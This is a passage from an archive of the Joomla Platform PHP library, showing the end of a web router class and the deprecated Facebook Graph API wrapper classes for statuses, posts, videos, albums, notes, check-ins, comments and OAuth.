controller name based on the route patterns and requested route. $name = $this->parseRoute($route); // Get the controller object by name. $controller = $this->fetchController($name); // Execute the controller. return $controller->execute(); } /** * Set the controller name prefix. * * @param string $prefix Controller class name prefix for creating controller objects by name. * * @return JApplicationWebRouter This object for method chaining. * * @since 3.0 */ public function setControllerPrefix($prefix) { $this->controllerPrefix = (string) $prefix; return $this; } /** * Set the default controller name. * * @param string $name The default page controller name for an empty route. * * @return JApplicationWebRouter This object for method chaining. * * @since 3.0 */ public function setDefaultController($name) { $this->default = (string) $name; return $this; } /** * Parse the given route and return the name of a controller mapped to the given route. * * @param string $route The route string for which to find and execute a controller. * * @return string The controller name for the given route excluding prefix. * * @since 3.0 * @throws InvalidArgumentException */ abstract protected function parseRoute($route); /** * Get a JController object for a given name. * * @param string $name The controller name (excluding prefix) for which to fetch and instance. * * @return JController * * @since 3.0 * @throws RuntimeException */ protected function fetchController($name) { // Derive the controller class name. $class = $this->controllerPrefix . ucfirst($name); // If the controller class does not exist panic. if (!class_exists($class) || !is_subclass_of($class, 'JController')) { throw new RuntimeException(sprintf('Unable to locate controller `%s`.', $class), 404); } // Instantiate the controller. $controller = new $class($this->input, $this->app); return $controller; } } PK�\��7^GGjoomla/facebook/object.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Facebook * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; use Joomla\Registry\Registry; /** * Facebook API object class for the Joomla Platform. * * @since 3.2.0 * @deprecated 4.0 Use the `joomla/facebook` package via Composer instead */ abstract class JFacebookObject { /** * @var Registry Options for the Facebook object. * @since 3.2.0 */ protected $options; /** * @var JHttp The HTTP client object to use in sending HTTP requests. * @since 3.2.0 */ protected $client; /** * @var JFacebookOAuth The OAuth client. * @since 3.2.0 */ protected $oauth; /** * Constructor. * * @param Registry $options Facebook options object. * @param JHttp $client The HTTP client object. * @param JFacebookOAuth $oauth The OAuth client. * * @since 3.2.0 */ public function __construct(Registry $options = null, JHttp $client = null, JFacebookOAuth $oauth = null) { $this->options = isset($options) ? $options : new Registry; $this->client = isset($client) ? $client : new JHttp($this->options); $this->oauth = $oauth; } /** * Method to build and return a full request URL for the request. This method will * add appropriate pagination details if necessary and also prepend the API url * to have a complete URL for the request. * * @param string $path URL to inflect. * @param integer $limit The number of objects per page. * @param integer $offset The object's number on the page. * @param integer $until A unix timestamp or any date accepted by strtotime. * @param integer $since A unix timestamp or any date accepted by strtotime. * * @return string The request URL. * * @since 3.2.0 */ protected function fetchUrl($path, $limit = 0, $offset = 0, $until = null, $since = null) { // Get a new JUri object fousing the api url and given path. $uri = new JUri($this->options->get('api.url') . $path); if ($limit > 0) { $uri->setVar('limit', (int) $limit); } if ($offset > 0) { $uri->setVar('offset', (int) $offset); } if ($until != null) { $uri->setVar('until', $until); } if ($since != null) { $uri->setVar('since', $since); } return (string) $uri; } /** * Method to send the request. * * @param string $path The path of the request to make. * @param mixed $data Either an associative array or a string to be sent with the post request. * @param array $headers An array of name-value pairs to include in the header of the request * @param integer $limit The number of objects per page. * @param integer $offset The object's number on the page. * @param string $until A unix timestamp or any date accepted by strtotime. * @param string $since A unix timestamp or any date accepted by strtotime. * * @return mixed The request response. * * @since 3.2.0 * @throws DomainException */ public function sendRequest($path, $data = '', array $headers = null, $limit = 0, $offset = 0, $until = null, $since = null) { // Send the request. $response = $this->client->get($this->fetchUrl($path, $limit, $offset, $until, $since), $headers); $response = json_decode($response->body); // Validate the response. if (property_exists($response, 'error')) { throw new RuntimeException($response->error->message); } return $response; } /** * Method to get an object. * * @param string $object The object id. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function get($object) { if ($this->oauth != null) { if ($this->oauth->isAuthenticated()) { $response = $this->oauth->query($this->fetchUrl($object)); return json_decode($response->body); } else { return false; } } // Send the request. return $this->sendRequest($object); } /** * Method to get object's connection. * * @param string $object The object id. * @param string $connection The object's connection name. * @param string $extraFields URL fields. * @param integer $limit The number of objects per page. * @param integer $offset The object's number on the page. * @param string $until A unix timestamp or any date accepted by strtotime. * @param string $since A unix timestamp or any date accepted by strtotime. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function getConnection($object, $connection = null, $extraFields = '', $limit = 0, $offset = 0, $until = null, $since = null) { $path = $object . '/' . $connection . $extraFields; if ($this->oauth != null) { if ($this->oauth->isAuthenticated()) { $response = $this->oauth->query($this->fetchUrl($path, $limit, $offset, $until, $since)); if (strcmp($response->body, '')) { return json_decode($response->body); } else { return $response->headers['Location']; } } else { return false; } } // Send the request. return $this->sendRequest($path, '', null, $limit, $offset, $until, $since); } /** * Method to create a connection. * * @param string $object The object id. * @param string $connection The object's connection name. * @param array $parameters The POST request parameters. * @param array $headers An array of name-value pairs to include in the header of the request * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function createConnection($object, $connection = null, $parameters = null, array $headers = null) { if ($this->oauth->isAuthenticated()) { // Build the request path. if ($connection != null) { $path = $object . '/' . $connection; } else { $path = $object; } // Send the post request. $response = $this->oauth->query($this->fetchUrl($path), $parameters, $headers, 'post'); return json_decode($response->body); } else { return false; } } /** * Method to delete a connection. * * @param string $object The object id. * @param string $connection The object's connection name. * @param string $extraFields URL fields. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function deleteConnection($object, $connection = null, $extraFields = '') { if ($this->oauth->isAuthenticated()) { // Build the request path. if ($connection != null) { $path = $object . '/' . $connection . $extraFields; } else { $path = $object . $extraFields; } // Send the delete request. $response = $this->oauth->query($this->fetchUrl($path), null, array(), 'delete'); return json_decode($response->body); } else { return false; } } /** * Method used to set the OAuth client. * * @param JFacebookOAuth $oauth The OAuth client object. * * @return JFacebookObject This object for method chaining. * * @since 3.2.0 */ public function setOAuth($oauth) { $this->oauth = $oauth; return $this; } /** * Method used to get the OAuth client. * * @return JFacebookOAuth The OAuth client * * @since 3.2.0 */ public function getOAuth() { return $this->oauth; } } PK�\�3��joomla/facebook/status.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Facebook * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die(); /** * Facebook API Status class for the Joomla Platform. * * @link http://developers.facebook.com/docs/reference/api/status/ * @since 3.2.0 * @deprecated 4.0 Use the `joomla/facebook` package via Composer instead */ class JFacebookStatus extends JFacebookObject { /** * Method to get a status message. Requires authentication. * * @param string $status The status message id. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function getStatus($status) { return $this->get($status); } /** * Method to get a status message's comments. Requires authentication. * * @param string $status The status message id. * @param integer $limit The number of objects per page. * @param integer $offset The object's number on the page. * @param string $until A unix timestamp or any date accepted by strtotime. * @param string $since A unix timestamp or any date accepted by strtotime. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function getComments($status, $limit = 0, $offset = 0, $until = null, $since = null) { return $this->getConnection($status, 'comments', '', $limit, $offset, $until, $since); } /** * Method to post a comment to the status message. Requires authentication and publish_stream and user_status or friends_status permission. * * @param string $status The status message id. * @param string $message The comment's text. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function createComment($status, $message) { // Set POST request parameters. $data['message'] = $message; return $this->createConnection($status, 'comments', $data); } /** * Method to delete a comment. Requires authentication and publish_stream and user_status or friends_status permission. * * @param string $comment The comment's id. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function deleteComment($comment) { return $this->deleteConnection($comment); } /** * Method to get a status message's likes. Requires authentication. * * @param string $status The status message id. * @param integer $limit The number of objects per page. * @param integer $offset The object's number on the page. * @param string $until A unix timestamp or any date accepted by strtotime. * @param string $since A unix timestamp or any date accepted by strtotime. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function getLikes($status, $limit = 0, $offset = 0, $until = null, $since = null) { return $this->getConnection($status, 'likes', '', $limit, $offset, $until, $since); } /** * Method to like status message. Requires authentication and publish_stream and user_status or friends_status permission. * * @param string $status The status message id. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function createLike($status) { return $this->createConnection($status, 'likes'); } /** * Method to unlike a status message. Requires authentication and publish_stream and user_status or friends_status permission. * * @param string $status The status message id. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function deleteLike($status) { return $this->deleteConnection($status, 'likes'); } } PK�\=�,���joomla/facebook/video.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Facebook * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die(); /** * Facebook API Video class for the Joomla Platform. * * @link http://developers.facebook.com/docs/reference/api/video/ * @since 3.2.0 * @deprecated 4.0 Use the `joomla/facebook` package via Composer instead */ class JFacebookVideo extends JFacebookObject { /** * Method to get a video. Requires authentication and user_videos or friends_videos permission for private videos. * * @param string $video The video id. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function getVideo($video) { return $this->get($video); } /** * Method to get a video's comments. Requires authentication and user_videos or friends_videos permission for private videos. * * @param string $video The video id. * @param integer $limit The number of objects per page. * @param integer $offset The object's number on the page. * @param string $until A unix timestamp or any date accepted by strtotime. * @param string $since A unix timestamp or any date accepted by strtotime. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function getComments($video, $limit=0, $offset=0, $until=null, $since=null) { return $this->getConnection($video, 'comments', '', $limit, $offset, $until, $since); } /** * Method to comment on a video. Requires authentication and publish_stream permission, user_videos or friends_videos permission for private videos. * * @param string $video The video id. * @param string $message The comment's text. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function createComment($video, $message) { // Set POST request parameters. $data = array(); $data['message'] = $message; return $this->createConnection($video, 'comments', $data); } /** * Method to delete a comment. Requires authentication and publish_stream permission, user_videos or friends_videos permission for private videos. * * @param string $comment The comment's id. * * @return boolean Returns true if successful, and false otherwise. * * @since 3.2.0 */ public function deleteComment($comment) { return $this->deleteConnection($comment); } /** * Method to get video's likes. Requires authentication and user_videos or friends_videos permission for private videos. * * @param string $video The video id. * @param integer $limit The number of objects per page. * @param integer $offset The object's number on the page. * @param string $until A unix timestamp or any date accepted by strtotime. * @param string $since A unix timestamp or any date accepted by strtotime. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function getLikes($video, $limit=0, $offset=0, $until=null, $since=null) { return $this->getConnection($video, 'likes', '', $limit, $offset, $until, $since); } /** * Method to like a video. Requires authentication and publish_stream permission, user_videos or friends_videos permission for private videos. * * @param string $video The video id. * * @return boolean Returns true if successful, and false otherwise. * * @since 3.2.0 */ public function createLike($video) { return $this->createConnection($video, 'likes'); } /** * Method to unlike a video. Requires authentication and publish_stream permission, user_videos or friends_videos permission for private videos. * * @param string $video The video id. * * @return boolean Returns true if successful, and false otherwise. * * @since 3.2.0 */ public function deleteLike($video) { return $this->deleteConnection($video, 'likes'); } /** * Method to get the album-sized view of the video. Requires authentication and user_videos or friends_videos permission for private photos. * * @param string $video The video id. * * @return string URL of the picture. * * @since 3.2.0 */ public function getPicture($video) { return $this->getConnection($video, 'picture'); } } PK�\���bbjoomla/facebook/post.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Facebook * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die(); /** * Facebook API Post class for the Joomla Platform. * * @link http://developers.facebook.com/docs/reference/api/post/ * @since 3.2.0 * @deprecated 4.0 Use the `joomla/facebook` package via Composer instead */ class JFacebookPost extends JFacebookObject { /** * Method to get a post. Requires authentication and read_stream permission for all data. * * @param string $post The post id. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function getPost($post) { return $this->get($post); } /** * Method to delete a post if it was created by this application. Requires authentication and publish_stream permission * * @param string $post The post id. * * @return boolean Returns true if successful, and false otherwise. * * @since 3.2.0 */ public function deletePost($post) { return $this->deleteConnection($post); } /** * Method to get a post's comments. Requires authentication and read_stream permission. * * @param string $post The post id. * @param integer $limit The number of objects per page. * @param integer $offset The object's number on the page. * @param string $until A unix timestamp or any date accepted by strtotime. * @param string $since A unix timestamp or any date accepted by strtotime. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function getComments($post, $limit = 0, $offset = 0, $until = null, $since = null) { return $this->getConnection($post, 'comments', '', $limit, $offset, $until, $since); } /** * Method to comment on a post. Requires authentication and publish_stream permission * * @param string $post The post id. * @param string $message The comment's text. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function createComment($post, $message) { // Set POST request parameters. $data['message'] = $message; return $this->createConnection($post, 'comments', $data); } /** * Method to delete a comment. Requires authentication and publish_stream permission * * @param string $comment The comment's id. * * @return boolean Returns true if successful, and false otherwise. * * @since 3.2.0 */ public function deleteComment($comment) { return $this->deleteConnection($comment); } /** * Method to get post's likes. Requires authentication and read_stream permission. * * @param string $post The post id. * @param integer $limit The number of objects per page. * @param integer $offset The object's number on the page. * @param string $until A unix timestamp or any date accepted by strtotime. * @param string $since A unix timestamp or any date accepted by strtotime. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function getLikes($post, $limit = 0, $offset = 0, $until = null, $since = null) { return $this->getConnection($post, 'likes', '', $limit, $offset, $until, $since); } /** * Method to like a post. Requires authentication and publish_stream permission * * @param string $post The post id. * * @return boolean Returns true if successful, and false otherwise. * * @since 3.2.0 */ public function createLike($post) { return $this->createConnection($post, 'likes'); } /** * Method to unlike a post. Requires authentication and publish_stream permission * * @param string $post The post id. * * @return boolean Returns true if successful, and false otherwise. * * @since 3.2.0 */ public function deleteLike($post) { return $this->deleteConnection($post, 'likes'); } } PK�\(XϲDDjoomla/facebook/album.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Facebook * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die(); /** * Facebook API Album class for the Joomla Platform. * * @link http://developers.facebook.com/docs/reference/api/album/ * @since 3.2.0 * @deprecated 4.0 Use the `joomla/facebook` package via Composer instead */ class JFacebookAlbum extends JFacebookObject { /** * Method to get an album. Requires authentication and user_photos or friends_photos permission for private photos. * * @param string $album The album id. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function getAlbum($album) { return $this->get($album); } /** * Method to get the photos contained in this album. Requires authentication and user_photos or friends_photos permission for private photos. * * @param string $album The album id. * @param integer $limit The number of objects per page. * @param integer $offset The object's number on the page. * @param string $until A unix timestamp or any date accepted by strtotime. * @param string $since A unix timestamp or any date accepted by strtotime. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function getPhotos($album, $limit = 0, $offset = 0, $until = null, $since = null) { return $this->getConnection($album, 'photos', '', $limit, $offset, $until, $since); } /** * Method to add photos to an album. Note: check can_upload flag first. Requires authentication and publish_stream permission. * * @param string $album The album id. * @param string $source Path to photo. * @param string $message Photo description. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function createPhoto($album, $source, $message = null) { // Set POST request parameters. $data = array(); $data[basename($source)] = '@' . realpath($source); if ($message) { $data['message'] = $message; } return $this->createConnection($album, 'photos', $data, array('Content-Type' => 'multipart/form-data')); } /** * Method to get an album's comments. Requires authentication and user_photos or friends_photos permission for private photos. * * @param string $album The album id. * @param integer $limit The number of objects per page. * @param integer $offset The object's number on the page. * @param string $until A unix timestamp or any date accepted by strtotime. * @param string $since A unix timestamp or any date accepted by strtotime. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function getComments($album, $limit = 0, $offset = 0, $until = null, $since = null) { return $this->getConnection($album, 'comments', '', $limit, $offset, $until, $since); } /** * Method to comment on an album. Requires authentication and publish_stream permission. * * @param string $album The album id. * @param string $message The comment's text. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function createComment($album, $message) { // Set POST request parameters. $data = array(); $data['message'] = $message; return $this->createConnection($album, 'comments', $data); } /** * Method to delete a comment. Requires authentication and publish_stream permission. * * @param string $comment The comment's id. * * @return boolean Returns true if successful, and false otherwise. * * @since 3.2.0 */ public function deleteComment($comment) { return $this->deleteConnection($comment); } /** * Method to get album's likes. Requires authentication and user_photos or friends_photos permission for private photos. * * @param string $album The album id. * @param integer $limit The number of objects per page. * @param integer $offset The object's number on the page. * @param string $until A unix timestamp or any date accepted by strtotime. * @param string $since A unix timestamp or any date accepted by strtotime. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function getLikes($album, $limit = 0, $offset = 0, $until = null, $since = null) { return $this->getConnection($album, 'likes', '', $limit, $offset, $until, $since); } /** * Method to like an album. Requires authentication and publish_stream permission. * * @param string $album The album id. * * @return boolean Returns true if successful, and false otherwise. * * @since 3.2.0 */ public function createLike($album) { return $this->createConnection($album, 'likes'); } /** * Method to unlike an album. Requires authentication and publish_stream permission. * * @param string $album The album id. * * @return boolean Returns true if successful, and false otherwise. * * @since 3.2.0 */ public function deleteLike($album) { return $this->deleteConnection($album, 'likes'); } /** * Method to get the album's cover photo, the first picture uploaded to an album becomes the cover photo for the album. * Requires authentication and user_photos or friends_photos permission for private photos. * * @param string $album The album id. * @param boolean $redirect If false this will return the URL of the picture without a 302 redirect. * * @return string URL of the picture. * * @since 3.2.0 */ public function getPicture($album, $redirect = true) { $extra_fields = ''; if ($redirect == false) { $extra_fields = '?redirect=false'; } return $this->getConnection($album, 'picture', $extra_fields); } } PK�\�����joomla/facebook/note.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Facebook * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die(); /** * Facebook API Note class for the Joomla Platform. * * @link http://developers.facebook.com/docs/reference/api/note/ * @since 3.2.0 * @deprecated 4.0 Use the `joomla/facebook` package via Composer instead */ class JFacebookNote extends JFacebookObject { /** * Method to get a note. Requires authentication and user_notes or friends_notes permission for non-public notes. * * @param string $note The note id. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function getNote($note) { return $this->get($note); } /** * Method to get a note's comments. Requires authentication and user_notes or friends_notes permission for non-public notes. * * @param string $note The note id. * @param integer $limit The number of objects per page. * @param integer $offset The object's number on the page. * @param string $until A unix timestamp or any date accepted by strtotime. * @param string $since A unix timestamp or any date accepted by strtotime. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function getComments($note, $limit = 0, $offset = 0, $until = null, $since = null) { return $this->getConnection($note, 'comments', '', $limit, $offset, $until, $since); } /** * Method to comment on a note. Requires authentication and publish_stream and user_notes or friends_notes permissions. * * @param string $note The note id. * @param string $message The comment's text. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function createComment($note, $message) { // Set POST request parameters. $data = array(); $data['message'] = $message; return $this->createConnection($note, 'comments', $data); } /** * Method to delete a comment. Requires authentication and publish_stream and user_notes or friends_notes permissions. * * @param string $comment The comment's id. * * @return boolean Returns true if successful, and false otherwise. * * @since 3.2.0 */ public function deleteComment($comment) { return $this->deleteConnection($comment); } /** * Method to get note's likes. Requires authentication and user_notes or friends_notes for non-public notes. * * @param string $note The note id. * @param integer $limit The number of objects per page. * @param integer $offset The object's number on the page. * @param string $until A unix timestamp or any date accepted by strtotime. * @param string $since A unix timestamp or any date accepted by strtotime. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function getLikes($note, $limit = 0, $offset = 0, $until = null, $since = null) { return $this->getConnection($note, 'likes', '', $limit, $offset, $until, $since); } /** * Method to like a note. Requires authentication and publish_stream and user_notes or friends_notes permissions. * * @param string $note The note id. * * @return boolean Returns true if successful, and false otherwise. * * @since 3.2.0 */ public function createLike($note) { return $this->createConnection($note, 'likes'); } /** * Method to unlike a note. Requires authentication and publish_stream and user_notes or friends_notes permissions. * * @param string $note The note id. * * @return boolean Returns true if successful, and false otherwise. * * @since 3.2.0 */ public function deleteLike($note) { return $this->deleteConnection($note, 'likes'); } } PK�\��f7::joomla/facebook/checkin.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Facebook * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die(); /** * Facebook API Checkin class for the Joomla Platform. * * @link http://developers.facebook.com/docs/reference/api/checkin/ * @since 3.2.0 * @deprecated 4.0 Use the `joomla/facebook` package via Composer instead */ class JFacebookCheckin extends JFacebookObject { /** * Method to get a checkin. Requires authentication and user_checkins or friends_checkins permission. * * @param string $checkin The checkin id. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function getCheckin($checkin) { return $this->get($checkin); } /** * Method to get a checkin's comments. Requires authentication and user_checkins or friends_checkins permission. * * @param string $checkin The checkin id. * @param integer $limit The number of objects per page. * @param integer $offset The object's number on the page. * @param string $until A unix timestamp or any date accepted by strtotime. * @param string $since A unix timestamp or any date accepted by strtotime. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function getComments($checkin, $limit=0, $offset=0, $until=null, $since=null) { return $this->getConnection($checkin, 'comments', '', $limit, $offset, $until, $since); } /** * Method to post a comment to the checkin. Requires authentication and publish_stream and user_checkins or friends_checkins permission. * * @param string $checkin The checkin id. * @param string $message The checkin's text. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function createComment($checkin, $message) { // Set POST request parameters. $data = array(); $data['message'] = $message; return $this->createConnection($checkin, 'comments', $data); } /** * Method to delete a comment. Requires authentication and publish_stream permission. * * @param string $comment The comment's id. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function deleteComment($comment) { return $this->deleteConnection($comment); } /** * Method to get a checkin's likes. Requires authentication and user_checkins or friends_checkins permission. * * @param string $checkin The checkin id. * @param integer $limit The number of objects per page. * @param integer $offset The object's number on the page. * @param string $until A unix timestamp or any date accepted by strtotime. * @param string $since A unix timestamp or any date accepted by strtotime. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function getLikes($checkin, $limit=0, $offset=0, $until=null, $since=null) { return $this->getConnection($checkin, 'likes', '', $limit, $offset, $until, $since); } /** * Method to like a checkin. Requires authentication and publish_stream and user_checkins or friends_checkins permission. * * @param string $checkin The checkin id. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function createLike($checkin) { return $this->createConnection($checkin, 'likes'); } /** * Method to unlike a checkin. Requires authentication and publish_stream permission. * * @param string $checkin The checkin id. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function deleteLike($checkin) { return $this->deleteConnection($checkin, 'likes'); } } PK�\%O�z��joomla/facebook/facebook.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Facebook * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; use Joomla\Registry\Registry; /** * Joomla Platform class for interacting with a Facebook API instance. * * @since 3.2.0 * @deprecated 4.0 Use the `joomla/facebook` package via Composer instead */ class JFacebook { /** * @var Registry Options for the Facebook object. * @since 3.2.0 */ protected $options; /** * @var JHttp The HTTP client object to use in sending HTTP requests. * @since 3.2.0 */ protected $client; /** * @var JFacebookOAuth The OAuth client. * @since 3.2.0 */ protected $oauth; /** * @var JFacebookUser Facebook API object for user. * @since 3.2.0 */ protected $user; /** * @var JFacebookStatus Facebook API object for status. * @since 3.2.0 */ protected $status; /** * @var JFacebookCheckin Facebook API object for checkin. * @since 3.2.0 */ protected $checkin; /** * @var JFacebookEvent Facebook API object for event. * @since 3.2.0 */ protected $event; /** * @var JFacebookGroup Facebook API object for group. * @since 3.2.0 */ protected $group; /** * @var JFacebookLink Facebook API object for link. * @since 3.2.0 */ protected $link; /** * @var JFacebookNote Facebook API object for note. * @since 3.2.0 */ protected $note; /** * @var JFacebookPost Facebook API object for post. * @since 3.2.0 */ protected $post; /** * @var JFacebookComment Facebook API object for comment. * @since 3.2.0 */ protected $comment; /** * @var JFacebookPhoto Facebook API object for photo. * @since 3.2.0 */ protected $photo; /** * @var JFacebookVideo Facebook API object for video. * @since 3.2.0 */ protected $video; /** * @var JFacebookAlbum Facebook API object for album. * @since 3.2.0 */ protected $album; /** * Constructor. * * @param JFacebookOAuth $oauth OAuth client. * @param Registry $options Facebook options object. * @param JHttp $client The HTTP client object. * * @since 3.2.0 */ public function __construct(JFacebookOAuth $oauth = null, Registry $options = null, JHttp $client = null) { $this->oauth = $oauth; $this->options = isset($options) ? $options : new Registry; $this->client = isset($client) ? $client : new JHttp($this->options); // Setup the default API url if not already set. $this->options->def('api.url', 'https://graph.facebook.com/'); } /** * Magic method to lazily create API objects * * @param string $name Name of property to retrieve * * @return JFacebookObject Facebook API object (status, user, friends etc). * * @since 3.2.0 * @throws InvalidArgumentException */ public function __get($name) { $class = 'JFacebook' . ucfirst($name); if (class_exists($class)) { if (false == isset($this->$name)) { $this->$name = new $class($this->options, $this->client, $this->oauth); } return $this->$name; } throw new InvalidArgumentException(sprintf('Argument %s produced an invalid class name: %s', $name, $class)); } /** * Get an option from the JFacebook instance. * * @param string $key The name of the option to get. * * @return mixed The option value. * * @since 3.2.0 */ public function getOption($key) { return $this->options->get($key); } /** * Set an option for the JFacebook instance. * * @param string $key The name of the option to set. * @param mixed $value The option value to set. * * @return JFacebook This object for method chaining. * * @since 3.2.0 */ public function setOption($key, $value) { $this->options->set($key, $value); return $this; } } PK�\���joomla/facebook/comment.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Facebook * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die(); /** * Facebook API Comment class for the Joomla Platform. * * @link http://developers.facebook.com/docs/reference/api/Comment/ * @since 3.2.0 * @deprecated 4.0 Use the `joomla/facebook` package via Composer instead */ class JFacebookComment extends JFacebookObject { /** * Method to get a comment. Requires authentication. * * @param string $comment The comment id. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function getComment($comment) { return $this->get($comment); } /** * Method to delete a comment. Requires authentication and publish_stream permission. * * @param string $comment The comment id. * * @return boolean Returns true if successful, and false otherwise. * * @since 3.2.0 */ public function deleteComment($comment) { return $this->deleteConnection($comment); } /** * Method to get a comment's comments. Requires authentication. * * @param string $comment The comment id. * @param integer $limit The number of objects per page. * @param integer $offset The object's number on the page. * @param string $until A unix timestamp or any date accepted by strtotime. * @param string $since A unix timestamp or any date accepted by strtotime. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function getComments($comment, $limit=0, $offset=0, $until=null, $since=null) { return $this->getConnection($comment, 'comments', '', $limit, $offset, $until, $since); } /** * Method to comment on a comment. Requires authentication with publish_stream permission. * * @param string $comment The comment id. * @param string $message The comment's text. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function createComment($comment, $message) { // Set POST request parameters. $data = array(); $data['message'] = $message; return $this->createConnection($comment, 'comments', $data); } /** * Method to get comment's likes. Requires authentication. * * @param string $comment The comment id. * @param integer $limit The number of objects per page. * @param integer $offset The object's number on the page. * @param string $until A unix timestamp or any date accepted by strtotime. * @param string $since A unix timestamp or any date accepted by strtotime. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function getLikes($comment, $limit=0, $offset=0, $until=null, $since=null) { return $this->getConnection($comment, 'likes', '', $limit, $offset, $until, $since); } /** * Method to like a comment. Requires authentication and publish_stram permission. * * @param string $comment The comment id. * * @return boolean Returns true if successful, and false otherwise. * * @since 3.2.0 */ public function createLike($comment) { return $this->createConnection($comment, 'likes'); } /** * Method to unlike a comment. Requires authentication and publish_stram permission. * * @param string $comment The comment id. * * @return boolean Returns true if successful, and false otherwise. * * @since 3.2.0 */ public function deleteLike($comment) { return $this->deleteConnection($comment, 'likes'); } } PK�\e�$�DDjoomla/facebook/oauth.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Facebook * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; use Joomla\Registry\Registry; /** * Joomla Platform class for generating Facebook API access token. * * @since 3.2.0 * @deprecated 4.0 Use the `joomla/facebook` package via Composer instead */ class JFacebookOAuth extends JOAuth2Client { /** * @var Registry Options for the JFacebookOAuth object. * @since 3.2.0 */ protected $options; /** * Constructor. * * @param Registry $options JFacebookOauth options object. * @param JHttp $client The HTTP client object. * @param JInput $input The input object. * * @since 3.2.0 */ public function __construct(Registry $options = null, JHttp $client = null, JInput $input = null) { $this->options = isset($options) ? $options : new Registry; // Setup the authentication and token urls if not already set. $this->options->def('authurl', 'http://www.facebook.com/dialog/oauth'); $this->options->def('tokenurl', 'https://graph.facebook.com/oauth/access_token'); // Call the JOAuth2Client constructor to setup the object. parent::__construct($this->options, $client, $input); } /** * Method used to set permissions. * * @param string $scope Comma separated list of permissions. * * @return JFacebookOauth This object for method chaining * * @since 3.2.0 */ public function 